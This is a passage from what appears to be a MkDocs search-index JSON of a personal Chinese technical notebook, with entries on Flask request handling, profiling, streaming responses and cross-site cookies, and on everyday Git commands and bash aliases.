json\\n</code></pre>\"},{\"location\":\"Flask/#requesturl\",\"title\":\"request\\u600e\\u4e48\\u62ff\\u5230url\\u7684\\u5404\\u4e2a\\u90e8\\u5206\",\"text\":\"<p>\\u6765\\u81eahttps://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url</p> <p>request:</p> <p><code>curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y</code></p> <p>then:</p> <pre><code>request.method:              GET\\nrequest.url:                 http://127.0.0.1:5000/alert/dingding/test?x=y\\nrequest.base_url:            http://127.0.0.1:5000/alert/dingding/test\\nrequest.url_charset:         utf-8\\nrequest.url_root:            http://127.0.0.1:5000/\\nstr(request.url_rule):       /alert/dingding/test\\nrequest.host_url:            http://127.0.0.1:5000/\\nrequest.host:                127.0.0.1:5000\\nrequest.script_root:\\nrequest.path:                /alert/dingding/test\\nrequest.full_path:           /alert/dingding/test?x=y\\n\\nrequest.args:                ImmutableMultiDict([('x', 'y')])\\nrequest.args.get('x'):       y\\n</code></pre>\"},{\"location\":\"Flask/#request\",\"title\":\"request\\u5176\\u4ed6\\u7684\\u90e8\\u5206\",\"text\":\"<pre><code>request.get_data()    POST\\u5185\\u5bb9 bytes\\u7c7b\\u578b\\nrequest.endpoint      \\u5904\\u7406\\u8fd9\\u4e2a\\u8bf7\\u6c42\\u7684\\u51fd\\u6570\\u540d\\u79f0\\n</code></pre>\"},{\"location\":\"Flask/#profiling\",\"title\":\"\\u9047\\u5230\\u6027\\u80fd\\u74f6\\u9888\\u505aprofiling\\u770b\\u51fd\\u6570\\u8017\\u65f6\",\"text\":\"<p>\\u627e\\u5230\\u5bf9uwsgi\\u5e94\\u7528\\u505aprofiling\\u7684dozer\\u5e93</p> <p>\\u4f7f\\u7528\\u65b9\\u6cd5\\uff1a</p> <ol> <li>\\u5148\\u5b89\\u88c5python3\\u5bf9\\u5e94\\u7684uwsgi\\uff1a<code>apt install uwsgi-plugin-python3</code></li> <li>\\u5199\\u4e00\\u4e2apython\\u811a\\u672c\\u5305\\u88c5app\\uff0c\\u5982<code>profiler_app.py</code>\\uff1a</li> </ol> <pre><code>#!/usr/bin/python3\\nfrom app import app\\nfrom dozer import Profiler\\nappx = Profiler(app, profile_path=\\\"/tmp/profiles\\\")\\n\\nif __name__ == \\\"__main__\\\":\\n    import os\\n    os.system(\\\"uwsgi -w profiler_app:appx --http :80\\\")\\n</code></pre> <ol> <li>\\u522b\\u5fd8\\u8bb0<code>mkdir /tmp/profiles</code> \\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u542f\\u52a8\\u4e86<code>python3 profiler_app.py</code></li> <li>\\u4f7f\\u7528http://127.0.0.1/_profiler/ \\u67e5\\u770b\\u7ed3\\u679c\\uff0c\\u53ef\\u4ee5\\u70b9\\u5f00\\u6bcf\\u4e2a\\u8bf7\\u6c42\\u770b\\u5404\\u4e2a\\u51fd\\u6570\\u8017\\u65f6\\u8be6\\u60c5</li> </ol>\"},{\"location\":\"Flask/#lazyload\",\"title\":\"lazyload \\u5ef6\\u8fdf\\u52a0\\u8f7d\\u8017\\u65f6\\u7684\\u521d\\u59cb\\u5316\\u64cd\\u4f5c\",\"text\":\"<p>\\u9700\\u6c42\\uff1a\\u7279\\u5b9a\\u9875\\u9762\\u9700\\u8981\\u52a0\\u8f7d\\u4e00\\u4e9b\\u8017\\u65f6\\u7684\\u8d44\\u6e90\\uff0c\\u5982\\u679c\\u5728\\u5e94\\u7528\\u542f\\u52a8\\u7684\\u65f6\\u5019\\u505a\\u52a0\\u8f7d\\uff0c\\u6b64\\u65f6\\u65b0\\u6765\\u7684\\u8bf7\\u6c42\\u5c31\\u5fc5\\u987b\\u7b49\\u5f85\\u8fd9\\u4e2a\\u52a0\\u8f7d\\u624d\\u80fd\\u5b8c\\u6210\\uff1b\\u800c\\u5b9e\\u9645\\u4e0a\\u8fd9\\u4e2ainit\\u5e76\\u975e\\u6240\\u6709\\u8bf7\\u6c42\\u90fd\\u5fc5\\u987b\\u7684\\uff0c\\u60f3\\u505a\\u4e00\\u4e2alazyinit: \\u5728\\u4e0d\\u5f71\\u54cd\\u6b63\\u5e38\\u8bf7\\u6c42\\u7684\\u524d\\u63d0\\u4e0b\\u5c3d\\u5feb\\u5b8c\\u6210init\\u51fd\\u6570</p> <p>\\u6211\\u7684\\u505a\\u6cd5\\uff1a\\u8bbe\\u8ba1\\u4e00\\u4e2a<code>/lazyinit</code>\\u8def\\u7531\\u51fd\\u6570\\u505a\\u521d\\u59cb\\u5316\\u5de5\\u4f5c\\uff0c\\u5728\\u91cd\\u65b0\\u90e8\\u7f72/\\u91cd\\u542fflask\\u670d\\u52a1\\u7684\\u65f6\\u5019\\u540c\\u65f6\\u542f\\u52a8\\u4e00\\u4e2a\\u7b80\\u5355\\u7684python\\u811a\\u672c\\u53cd\\u590d\\u8bf7\\u6c42\\u8fd9\\u4e2aurl\\u76f4\\u5230\\u6240\\u6709\\u7684\\u8fdb\\u7a0b\\u90fd\\u5df2\\u7ecf\\u89e6\\u53d1</p> <p>\\u8fd9\\u6837\\u5229\\u7528uwsgi\\u81ea\\u8eab\\u5c31\\u6709\\u7684\\u591a\\u8fdb\\u7a0b\\u8d1f\\u8f7d\\u5747\\u8861\\uff0c\\u6bcf\\u6b21\\u6700\\u591a\\u53ea\\u4f1a\\u6709\\u4e00\\u4e2a\\u8fdb\\u7a0b\\u505a\\u521d\\u59cb\\u5316\\u5de5\\u4f5c\\uff0c\\u5176\\u4ed6\\u8fdb\\u7a0b\\u53ef\\u4ee5\\u6b63\\u5e38\\u5904\\u7406\\u8bf7\\u6c42\\uff1b\\u574f\\u5904\\u5c31\\u662f\\u5728\\u65e5\\u5fd7\\u91cc\\u9762\\u4ea7\\u751f\\u4e00\\u4e9b\\u5783\\u573e\\u5427\\uff0c\\u5f71\\u54cd\\u4e0d\\u5927</p> <p>\\u95ee\\u9898\\u6765\\u4e86 uwsgi\\u600e\\u4e48\\u77e5\\u9053\\u5f53\\u524d\\u662f\\u54ea\\u4e2a\\u8fdb\\u7a0b\\u5462 \\u6211\\u53d1\\u73b0threading\\u63d0\\u4f9b\\u7684\\u8fdb\\u7a0b\\u540d\\u79f0\\u662f\\u5b57\\u7b26\\u4e32<code>b'uWSGIWorker2Core2'</code>\\uff0c\\u5176\\u4e2d<code>Worker</code>\\u540e\\u9762\\u7684\\u6570\\u5b57\\u5c31\\u662f\\u8fdb\\u7a0bID \\u4e0d\\u540c\\u8fdb\\u7a0bID\\u7684\\u5168\\u5c40\\u53d8\\u91cf\\u662f\\u4e0d\\u540c\\u7684</p> <p>\\u4ee3\\u7801\\uff1a</p> <p>flask\\u4e2d\\u7684<code>/lazyinit</code>\\u5b9e\\u73b0\\uff0c\\u8fd4\\u56de\\u5904\\u7406\\u5f53\\u524d\\u8bf7\\u6c42\\u7684worker id\\uff1a</p> <pre><code>import threading\\ndef get_workerid():\\n    # return uwsgi worker id: int\\n    threadname = threading.current_thread().name\\n    id_str = threadname.lower().split(\\\"worker\\\")[1].split(\\\"core\\\")[0]\\n    return int(id_str)\\n\\nHAS_INITED = False\\n\\n@app.route(\\\"/lazyinit\\\")\\ndef lazyinit():\\n    workerid = get_workerid()\\n\\n    if not HAS_INITED: # skip init if has already initialized\\n        sleep(1) # do real init code...\\n        HAS_INITED = True\\n\\n    return str(workerid)\\n</code></pre> <p>\\u8fd9\\u662f\\u53cd\\u590d\\u8bf7\\u6c42\\u7684\\u4ee3\\u7801\\uff0c\\u91cd\\u590d\\u8bf7\\u6c42\\u6700\\u591a100\\u6b21\\uff0c\\u76f4\\u5230\\u6240\\u67094\\u4e2a\\u8fdb\\u7a0b\\u90fd\\u5df2\\u7ecf\\u89e6\\u53d1\\uff0c\\u5176\\u4e2duwsgi\\u7684workerid\\u662f\\u4ece1\\u5f00\\u59cb\\u8ba1\\u6570\\u7684</p> <pre><code>MAX_TRIES = 100\\nPROCESS_COUNT = 4\\n\\nimport requests\\ni = 0\\nstatus = [False]*PROCESS_COUNT\\nfor i in range(MAX_TRIES):\\n    id = requests.get(\\\"http://127.0.0.1/lazyinit?id=\\\"+str(i)).text\\n    id = int(id) - 1\\n    status[id] = True\\n    if all(status):\\n        break\\n</code></pre>\"},{\"location\":\"Flask/#apprunhttp11\",\"title\":\"\\u8ba9app.run\\u542f\\u52a8\\u7684\\u670d\\u52a1\\u5668\\u4f7f\\u7528HTTP/1.1\",\"text\":\"<p>\\u5c31\\u662f\\u8fd9\\u4e2a\\u95ee\\u9898\\uff1a https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/</p> <p>\\u4eba\\u5bb6\\u8ba4\\u4e3aFlask\\u4e0d\\u652f\\u6301\\uff0c\\u5176\\u5b9eflask\\u4f7f\\u7528\\u7684\\u662f<code>werkzeug.serving</code>\\uff0c\\u6700\\u5e95\\u5c42\\u8fd8\\u662fBaseHTTPRequestHandler\\uff0c\\u800c\\u8fd9\\u4e2a\\u662f\\u652f\\u6301HTTP/1.1\\u7684\\uff0c\\u53ea\\u662f\\u9ed8\\u8ba4HTTP/1.0\\u800c\\u5df2</p> <p>\\u5b9e\\u9645\\u53d1\\u9001\\u8bf7\\u6c42<code>HTTP/1.1 200 OK</code>\\u662f\\u8fd9\\u4e2a\\u7c7b\\u7684<code>send_response</code>\\u51fd\\u6570\\uff0c\\u7528\\u5230<code>protocol_version</code>\\u8fd9\\u4e2a\\u5c5e\\u6027\\uff0c\\u800c\\u8fd9\\u4e2a\\u5c5e\\u6027\\u662f\\u7c7b\\u7684\\u5c5e\\u6027\\uff08\\u4e0d\\u662f\\u5728<code>__init__</code>\\u51fd\\u6570\\u8d4b\\u503c\\u7684\\uff09\\uff0c\\u6240\\u4ee5\\u6211\\u4eec\\u53ef\\u4ee5\\u76f4\\u63a5\\u4fee\\u6539 \\u4e4b\\u540e\\u521b\\u5efa\\u7684\\u5bf9\\u8c61\\u5c31\\u4f1a\\u81ea\\u52a8\\u62e5\\u6709\\u65b0\\u7684\\u503c</p> <p>\\u5728\\u8c03\\u7528\\u4e4b\\u524d\\u6dfb\\u52a0\\u4ee5\\u4e0b\\u51e0\\u884c\\u5373\\u53ef</p> <pre><code>try:\\n    from http.server import BaseHTTPRequestHandler\\nexcept: #PY2\\n    from BaseHTTPServer import BaseHTTPRequestHandler\\nBaseHTTPRequestHandler.protocol_version = \\\"HTTP/1.1\\\"\\n</code></pre>\"},{\"location\":\"Flask/#render_template_1\",\"title\":\"\\u8ba9render_template\\u76f4\\u63a5\\u80fd\\u4f7f\\u7528\\u5f53\\u524d\\u6240\\u6709\\u53d8\\u91cf\",\"text\":\"<p>\\u4e00\\u79cd\\u76f4\\u63a5\\u7684\\u505a\\u6cd5\\uff1a\\u6ce8\\u610f\\u987a\\u5e8f \\u5c40\\u90e8\\u53d8\\u91cf\\u4f18\\u5148\\u4e8e\\u5168\\u5c40\\u53d8\\u91cf</p> <pre><code>targs = globals()\\ntargs.update(locals())\\nrender_template(\\\"x.html\\\", **targs)\\n</code></pre> <p>\\u7136\\u800c\\u8fd9\\u6837\\u9700\\u8981\\u6bcf\\u4e2a\\u89c6\\u56fe\\u51fd\\u6570\\u90fd\\u5199\\u8fd9\\u4e09\\u884c\\uff0c\\u4e0d\\u591f\\u4f18\\u96c5</p> <p>\\u4e0d\\u5982\\u8bd5\\u8bd5\\uff1a\\u83b7\\u53d6\\u8c03\\u7528\\u8005\\u7684\\u5c40\\u90e8\\u53d8\\u91cf https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python</p> <pre><code>import inspect\\ndef myrender_template(filename):\\n    backframe = inspect.currentframe().f_back\\n    targs = {}\\n    targs.update(backframe.f_globals)\\n    targs.update(backframe.f_locals)\\n    return render_template(filename, **targs)\\n</code></pre>\"},{\"location\":\"Flask/#flaskeventsource\",\"title\":\"\\u5728Flask\\u4e2d\\u6b63\\u786e\\u5730\\u4ea7\\u751f\\u6d41\\u5f0f\\u54cd\\u5e94EventSource\",\"text\":\"<p>\\u8003\\u8651\\u6211\\u4eec\\u9700\\u8981\\u5411\\u524d\\u7aef\\u63d0\\u4f9b\\u6d88\\u606f\\u961f\\u5217\\u7684\\u6d88\\u8d39\\u8005\\uff0c\\u6bd4\\u5982\\u6536\\u5230\\u5e7f\\u64ad\\u540e\\u53d1\\u7ed9\\u6d4f\\u89c8\\u5668\\u901a\\u77e5\\u7528\\u6237\\u3002\\u5f53\\u7136\\u6211\\u4eec\\u53ef\\u4ee5\\u7528websocket\\uff0c\\u4f46\\u8fd9\\u79cd\\u573a\\u666f\\uff08\\u53ea\\u6709\\u670d\\u52a1\\u5668\\u7ed9\\u6d4f\\u89c8\\u5668\\u53d1\\uff09\\u4e0b\\u53ea\\u9700\\u8981\\u957f\\u8fde\\u63a5\\u7684EventSource\\u5c31\\u884c\\u4e86\\u3002</p> <p>\\u57fa\\u7840\\u7bc7\\uff1a https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework</p> <pre><code>def queue_consumer():\\nconn = \\u521b\\u5efa\\u8fde\\u63a5() #\\u8fde\\u63a5\\u5230\\u6d88\\u606f\\u961f\\u5217\\uff0c\\u521b\\u5efa channel\\nfor data in conn.\\u8bfb\\u53d6\\u6570\\u636e():\\nyield b\\\"data: \\\"+data+b\\\"\\\\n\\\\n\\\"\\n\\u5173\\u95ed\\u8fde\\u63a5() # \\u600e\\u4e48\\u6267\\u884c\\u5230\\uff1f\\n\\n@app.route(\\\"/stream\\\")\\ndef stream():\\nreturn Response(queue_consumer(), mimetype=\\\"text/event-stream\\\")\\n</code></pre> <p>\\u8fd9\\u4e2a\\u7684\\u95ee\\u9898\\u5728\\u4e8e\\u5173\\u95ed\\u8fde\\u63a5\\u4e0d\\u4f1a\\u6267\\u884c\\u5230\\uff0c\\u5728\\u6d88\\u606f\\u961f\\u5217\\u670d\\u52a1\\u5668\\u4e0a\\u89c2\\u5bdf\\u5230channel\\u4e00\\u76f4\\u6ca1\\u6709\\u91ca\\u653e\\uff0c\\u8fd9\\u80af\\u5b9a\\u4e0d\\u884c\\uff0c\\u6211\\u4eec\\u9700\\u8981\\u5728\\u6d4f\\u89c8\\u5668\\u65ad\\u5f00\\u8fde\\u63a5\\u7684\\u65f6\\u5019\\u81ea\\u52a8\\u91ca\\u653econn\\u7b49\\u8d44\\u6e90\\u3002</p> <p>\\u8bfb\\u4e86 werkzeug \\u7684\\u6e90\\u4ee3\\u7801\\u53d1\\u73b0 Response \\u6709 call_on_close \\u51fd\\u6570\\uff0c\\u5728\\u8fde\\u63a5\\u5173\\u95ed\\u7684\\u65f6\\u5019\\u6211\\u4eec\\u628a\\u751f\\u6210\\u5668close\\u5373\\u53ef\\u89e6\\u53d1yield\\u7684\\u5f02\\u5e38\\uff1a</p> <pre><code>def queue_consumer():\\nconn = \\u521b\\u5efa\\u8fde\\u63a5() #\\u8fde\\u63a5\\u5230\\u6d88\\u606f\\u961f\\u5217\\uff0c\\u521b\\u5efa channel\\ntry:\\nfor data in conn.\\u8bfb\\u53d6\\u6570\\u636e():\\nyield b\\\"data: \\\"+data+b\\\"\\\\n\\\\n\\\" #\\u7ed3\\u675f\\u7684\\u65f6\\u5019\\u4f1a\\u89e6\\u53d1GeneratorExit\\u5f02\\u5e38\\nexcept:\\npass\\n\\u5173\\u95ed\\u8fde\\u63a5()\\n\\n@app.route(\\\"/stream\\\")\\ndef stream():\\nconsumer = queue_consumer()\\nres = Response(consumer, mimetype=\\\"text/event-stream\\\")\\ndef onclose():\\nconsumer.close()\\nres.call_on_close(onclose)\\nreturn res\\n</code></pre> <p>\\u8fd9\\u6837\\u8fd8\\u4e0d\\u591f\\uff0c\\u53d1\\u73b0\\u65e0\\u6cd5\\u4f7f\\u7528g\\uff0c\\u4ee5\\u53caNginx\\u9ed8\\u8ba4\\u7f13\\u5b58\\u54cd\\u5e94\\u5bfc\\u81f4\\u5ef6\\u8fdf\\uff0c\\u9700\\u8981\\u7ee7\\u7eed\\u914d\\u7f6e\\uff1a</p> <pre><code>def queue_consumer():\\nconn = \\u521b\\u5efa\\u8fde\\u63a5() #\\u8fde\\u63a5\\u5230\\u6d88\\u606f\\u961f\\u5217\\uff0c\\u521b\\u5efa channel\\ntry:\\nfor data in conn.\\u8bfb\\u53d6\\u6570\\u636e():\\nyield b\\\"data: \\\"+data+b\\\"\\\\n\\\\n\\\" #\\u7ed3\\u675f\\u7684\\u65f6\\u5019\\u4f1a\\u89e6\\u53d1GeneratorExit\\u5f02\\u5e38\\nexcept:\\npass\\n\\u5173\\u95ed\\u8fde\\u63a5()\\n\\n@app.route(\\\"/stream\\\")\\ndef stream():\\nconsumer = queue_consumer()\\nres = Response(stream_with_context(consumer), mimetype=\\\"text/event-stream\\\")\\ndef onclose():\\nconsumer.close()\\nres.call_on_close(onclose)\\nres.headers[\\\"X-Accel-Buffering\\\"] = \\\"no\\\"\\nres.headers[\\\"Cache-Control\\\"] = \\\"no-cache\\\"\\nreturn res\\n</code></pre> <p>\\u8fd9\\u4e9bNginx\\u914d\\u7f6e\\u4f60\\u4e5f\\u53ef\\u80fd\\u9700\\u8981\\u52a0\\u4e0a\\uff1a\\u5c24\\u5176\\u662f\\u8fd8\\u6709\\u4e0b\\u4e00\\u5c42\\u53cd\\u4ee3\\u7684\\u65f6\\u5019</p> <pre><code>uwsgi_pass_header \\\"X-Accel-Buffering\\\";\\nuwsgi_read_timeout 120s;\\nuwsgi_send_timeout 120s;\\n\\nproxy_http_version 1.1;\\nproxy_set_header Connection \\\"\\\";\\nproxy_pass_header \\\"X-Accel-Buffering\\\";\\n</code></pre>\"},{\"location\":\"Flask/#flaskcookie\",\"title\":\"Flask\\u8de8\\u57dfCookie\",\"text\":\"<p>\\u5f53\\u6211\\u4eec\\u7684\\u7f51\\u7ad9\\u80fd\\u88ab\\u8de8\\u57df\\u8bbf\\u95ee\\u7684\\u65f6\\u5019\\uff0c\\u8981\\u6ce8\\u610fcookie\\u7684\\u8bbe\\u7f6e\\uff0c\\u52a0\\u4e0a<code>SameSite=None; Secure</code></p> <p>\\u53c2\\u8003:</p> <ul> <li>https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response</li> <li>https://github.com/pallets/werkzeug/issues/1549</li> <li>https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set</li> </ul> <pre><code>resp.set_cookie('cross-site-cookie', 'bar', samesite='None', secure=True)\\nresp.headers.add('Set-Cookie','cross-site-cookie=bar; SameSite=None; Secure')\\n</code></pre> <p>Flask\\u7684session cookie\\u4e5f\\u8981\\u8de8\\u57df\\u7684\\u8bdd\\uff1a</p> <pre><code>from flask import session\\nfrom flask.sessions import SecureCookieSessionInterface\\n\\nsession_cookie = SecureCookieSessionInterface().get_signing_serializer(app)\\n@app.after_request\\ndef cookies(response):\\n    same_cookie = session_cookie.dumps(dict(session))\\n    response.headers.add(\\\"Set-Cookie\\\", f\\\"session={same_cookie}; Secure; HttpOnly; SameSite=None; Path=/;\\\")\\n    return response\\n</code></pre>\"},{\"location\":\"Git/\",\"title\":\"Git\",\"text\":\"<p>\\u53c2\\u8003 \\u6c89\\u6d78\\u5f0f\\u5b66 Git http://igit.linuxtoy.org/</p> <p>\\u53c2\\u8003 Learn Git Branching learngitbranching.js.org</p>\"},{\"location\":\"Git/#_1\",\"title\":\"\\u7acb\\u5373\\u4f7f\\u7528\",\"text\":\"<p>\\u5728\\u7f51\\u9875\\u4e0a\\u5148\\u521b\\u5efa\\u4e86\\u4ed3\\u5e93\\uff0c\\u8bbe\\u7f6e\\u597d.gitignore</p> <pre><code>git clone  github\\u63d0\\u4f9b\\u7684\\u5730\\u5740(\\u7528ssh\\u7684)\\n# \\u73b0\\u5728\\u521b\\u5efa\\u4e86\\u4f60\\u7684\\u4ed3\\u5e93\\u6587\\u4ef6\\u5939\\uff0c\\u5c06\\u9700\\u8981\\u4e0a\\u4f20\\u7684\\u6587\\u4ef6\\u653e\\u8fdb\\u53bb\\ncd \\u4f60\\u7684\\u4ed3\\u5e93\\u540d\\u79f0\\ngit add .\\ngit commit -a -m \\\"\\u8fd9\\u6b21\\u6539\\u4e86\\u4e9b\\u5565\\uff1f\\\"\\ngit push\\n</code></pre> <p>\\u66f4\\u591a\\u7684\\u914d\\u7f6e\\uff1a</p> <pre><code># \\u9ed8\\u8ba4git pull --rebase\\ngit config --global pull.rebase true\\n</code></pre>\"},{\"location\":\"Git/#git-clone\",\"title\":\"\\u52a0\\u901fgit clone\",\"text\":\"<p>\\u65b9\\u6cd51\\uff1a\\u914d\\u7f6e\\u4e00\\u4e2a\\u4ee3\\u7406(\\u5982privoxy)\\uff0c\\u5e76\\u4f7f\\u7528https\\u5730\\u5740</p> <p>\\u65b9\\u6cd52\\uff1a\\u4f7f\\u7528<code>--depth 1</code>\\u53c2\\u6570\\u8868\\u793a\\u4e0d\\u8981\\u590d\\u5236\\u5386\\u53f2</p> <pre><code>export https_proxy=\\\"http://127.0.0.1:8118\\\"\\ngit clone --depth 1 https://github.com/zjuchenyuan/notebook\\n</code></pre>\"},{\"location\":\"Git/#git-push\",\"title\":\"git push\\u52a0\\u901f\",\"text\":\"<p>\\u4ee3\\u7801\\u53c2\\u89c1code/ssgit.txt</p>\"},{\"location\":\"Git/#git-push_1\",\"title\":\"git push\\u514d\\u5bc6\\u7801\",\"text\":\"<p>\\u53c2\\u7167http://blog.csdn.net/chfe007/article/details/43388041</p> <p>\\u9996\\u5148\\u751f\\u6210\\u81ea\\u5df1\\u7684ssh\\u5bc6\\u94a5\\uff0c\\u4e0d\\u8981\\u4fee\\u6539\\u751f\\u6210\\u7684\\u6587\\u4ef6\\u4f4d\\u7f6e</p> <pre><code>ssh-keygen -t rsa -b 4096\\n</code></pre> <p>\\u7136\\u540e\\u628a<code>~/.ssh/id_rsa.pub</code>\\u7684\\u5185\\u5bb9\\u8bbe\\u7f6e\\u5230github\\u4e2d\\uff0c\\u7f51\\u9875\\u7aef\\u64cd\\u4f5c\\uff1b\\u5efa\\u8bae\\u987a\\u5e26\\u542f\\u7528\\u4e24\\u6b65\\u9a8c\\u8bc1</p> <p>\\u65b0\\u624b\\u8fd8\\u544a\\u8bc9git\\u81ea\\u5df1\\u662f\\u8c01\\uff1a</p> <pre><code>git config --global user.email \\\"\\u4f60\\u7684\\u90ae\\u7bb1\\\"\\ngit config --global user.name \\\"\\u4f60\\u7684\\u7528\\u6237\\u540d\\\"\\n</code></pre> <p>\\u5982\\u679c\\u5f53\\u524d\\u4ed3\\u5e93\\u662fhttps\\u7684\\uff0c\\u6539\\u4e3agit\\u65b9\\u5f0f\\uff1a</p> <pre><code>git remote set-url origin git@github.com:\\u7528\\u6237\\u540d/\\u4ed3\\u5e93\\u540d\\u79f0.git\\n</code></pre>\"},{\"location\":\"Git/#bash\",\"title\":\"bash\\u522b\\u540d\\u8bbe\\u7f6e\",\"text\":\"<p>\\u901a\\u8fc7\\u4fee\\u6539~/.bashrc\\u6765\\u8bbe\\u7f6e\\u522b\\u540d\\uff0c\\u8ba9git\\u7684\\u65e5\\u5e38\\u4f7f\\u7528\\u66f4\\u7b80\\u5355\\uff1a</p> <pre><code>func_g(){\\ngit add .\\ngit commit -a -m \\\"$1\\\"\\ngit push\\n}\\nalias g=func_g\\nalias gs='git status '\\nalias ga='git add '\\nalias gb='git branch '\\nalias gc='git commit'\\nalias gd='git diff'\\nalias go='git checkout '\\nalias gp='git push'\\nalias gl=\\\"git log --all --pretty=format:'%h %ad | %s%d [%an]' --graph --date=short\\\"\\n</code></pre> <p></p> <p>\\u5b8c\\u6210\\u4e00\\u6b21\\u63d0\\u4ea4\\uff0c\\u73b0\\u5728\\u53ea\\u9700\\u8981<code>g \\\"\\u63d0\\u4ea4\\u4fe1\\u606f\\\"</code></p> <p>\\u8981\\u7acb\\u5373\\u751f\\u6548\\uff0c\\u53ef\\u4ee5\\u6267\\u884c<code>source ~/.bashrc</code></p>\"},{\"location\":\"Git/#bashdirty\",\"title\":\"\\u8bbe\\u7f6ebash\\u4e2d\\u7684\\u81ea\\u52a8\\u5b8c\\u6210\\u4e0edirty\\u63d0\\u793a\",\"text\":\"<p>\\u6b64\\u90e8\\u5206\\u5185\\u5bb9\\u6765\\u81eaUdacity \\u5982\\u4f55\\u4f7f\\u7528 Git \\u548c GitHub \\u8bfe\\u7a0b</p> <p>\\u4e0b\\u8f7d\\u9700\\u8981\\u7684\\u6587\\u4ef6</p> <pre><code>curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash\\ncurl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh\\n</code></pre> <p>\\u5728<code>~/.bashrc</code>\\u672b\\u5c3e\\u6dfb\\u52a0\\uff1a</p> <pre><code>source ~/git-completion.bash\\ngreen=\\\"\\\\[\\\\033[0;32m\\\\]\\\"\\nblue=\\\"\\\\[\\\\033[0;34m\\\\]\\\"\\npurple=\\\"\\\\[\\\\033[0;35m\\\\]\\\"\\nreset=\\\"\\\\[\\\\033[0m\\\\]\\\"\\nsource ~/git-prompt.sh\\nexport GIT_PS1_SHOWDIRTYSTATE=1\\nexport PS1=\\\"$purple\\\\u$green\\\\$(__git_ps1) \\\\w\\\\a $ $reset\\\"\\n</code></pre> <p>\\u6548\\u679c\\u5982\\u56fe\\uff0c\\u5982\\u679c\\u51fa\\u73b0\\u4e86\\u672a\\u63d0\\u4ea4\\u7684\\u4fee\\u6539\\uff0c\\u4f1a\\u81ea\\u52a8\\u663e\\u793a\\u51fa*\\u8868\\u793adirty\\uff1a</p> <p></p>\"},{\"location\":\"Git/#_2\",\"title\":\"\\u597d\\u73a9\\u7684\\u547d\\u4ee4\\u4eec\",\"text\":\"\"},{\"location\":\"Git/#git-status\",\"title\":\"git status\",\"text\":\"<p>\\u67e5\\u770b\\u72b6\\u6001\\u54af~</p>\"},{\"location\":\"Git/#git-reset\",\"title\":\"git reset\",\"text\":\"<p>\\u5df2\\u7ecf<code>git add</code>\\u4e86\\uff0c\\u60f3\\u53d6\\u6d88\\u8fd9\\u4e00\\u6b65\\u5c31\\u7528<code>git reset</code></p>\"},{\"location\":\"Git/#git-checkout\",\"title\":\"git checkout\",\"text\":\"<p>\\u554a\\u3002\\u3002\\u3002\\u4ee3\\u7801\\u641e\\u574f\\u4e86\\u6211\\u8981\\u56de\\u6eda\\u5230\\u4e0a\\u6b21commit\\uff0c\\u7528<code>git checkout -- \\u6587\\u4ef6\\u540d</code></p>\"},{\"location\":\"Git/#git-reset-soft\",\"title\":\"git reset \\u2013soft  <p>\\u64a4\\u9500\\u5230\\u67d0\\u6b21commit\\uff0c\\u4f46\\u4e0d\\u5220\\u9664\\u65b0\\u589e\\u6587\\u4ef6</p> <p>\\u5176\\u4e2dcommit_id\\u53ef\\u4ee5\\u4ece<code>git log</code>\\u83b7\\u5f97</p>\",\"text\":\"\"},{\"location\":\"Git/#git-reset-hard\",\"title\":\"\\u6062\\u590dgit reset \\u2013hard\\u5220\\u9664\\u7684\\u6587\\u4ef6 <p>git\\u7684\\u5386\\u53f2\\u662f\\u4e0d\\u80fd\\u7528\\u547d\\u4ee4\\u4fee\\u6539\\u7684\\uff0c\\u4e22\\u5931\\u7684commit\\u7528reflog\\u53ef\\u4ee5\\u627e\\u56de\\uff0c\\u9664\\u975egit\\u5df2\\u7ecf\\u628a\\u5b83\\u5f53\\u6210\\u5783\\u573e\\u5220\\u9664\\uff0830\\u5929\\uff09</p> <pre><code>git stash save\\ngit reflog # \\u67e5\\u770b\\u4e22\\u5931\\u7684\\u90a3\\u4e2acommit\\u7684id\\ngit checkout \\u90a3\\u4e2acommitid\\ngit branch recover # \\u521b\\u5efarecover\\u5206\\u652f\\ngit checkout master # \\u56de\\u5230master\\ngit merge recover # \\u5408\\u5e76recover\\u5230master\\ngit branch -d recover # \\u5408\\u5e76\\u5b8c\\u6210\\u540e\\u5c31\\u53ef\\u4ee5\\u5220\\u4e86\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#_3\",\"title\":\"\\u4f60\\u53ef\\u80fd\\u4f1a\\u95ee\\u7684\\u4e00\\u4e9b\\u95ee\\u9898\",\"text\":\"<ul> <li>\\u4e3a\\u5565\\u8981git add\\u5462?</li> </ul> <p>\\u56e0\\u4e3a\\u6709\\u4e9b\\u65f6\\u5019\\u4e24\\u4e2a\\u6587\\u4ef6\\u53ef\\u80fd\\u662f\\u4e0d\\u76f8\\u5173\\u7684\\u4fee\\u6539\\uff0c\\u5e94\\u8be5\\u5206\\u522b\\u63d0\\u4ea4\\u4e24\\u6b21</p> <p>\\u901a\\u8fc7\\u5206\\u5f00\\u6682\\u5b58\\u548c\\u63d0\\u4ea4\\uff0c\\u4f60\\u80fd\\u591f\\u66f4\\u52a0\\u5bb9\\u6613\\u5730\\u8c03\\u4f18\\u6bcf\\u4e00\\u4e2a\\u63d0\\u4ea4\\u3002</p> <ul> <li>\\u4e3a\\u5565\\u4e0d\\u6539.profile\\u800c\\u662f\\u6539.bashrc\\u5462</li> </ul> <p>\\u56e0\\u4e3awin10\\u4e2d\\u53ea\\u8981\\u6709\\u4e00\\u4e2abash\\u7a97\\u53e3\\u6ca1\\u5173\\u6389\\uff0c\\u542f\\u52a8bash\\u5c31\\u4e0d\\u662f\\u767b\\u5f55\\uff0c\\u800c\\u662f\\u76f8\\u5f53\\u4e8e\\u518d\\u5f00\\u4e86\\u4e2a<code>docker exec -i -t bashonwin10 /bin/bash</code></p> 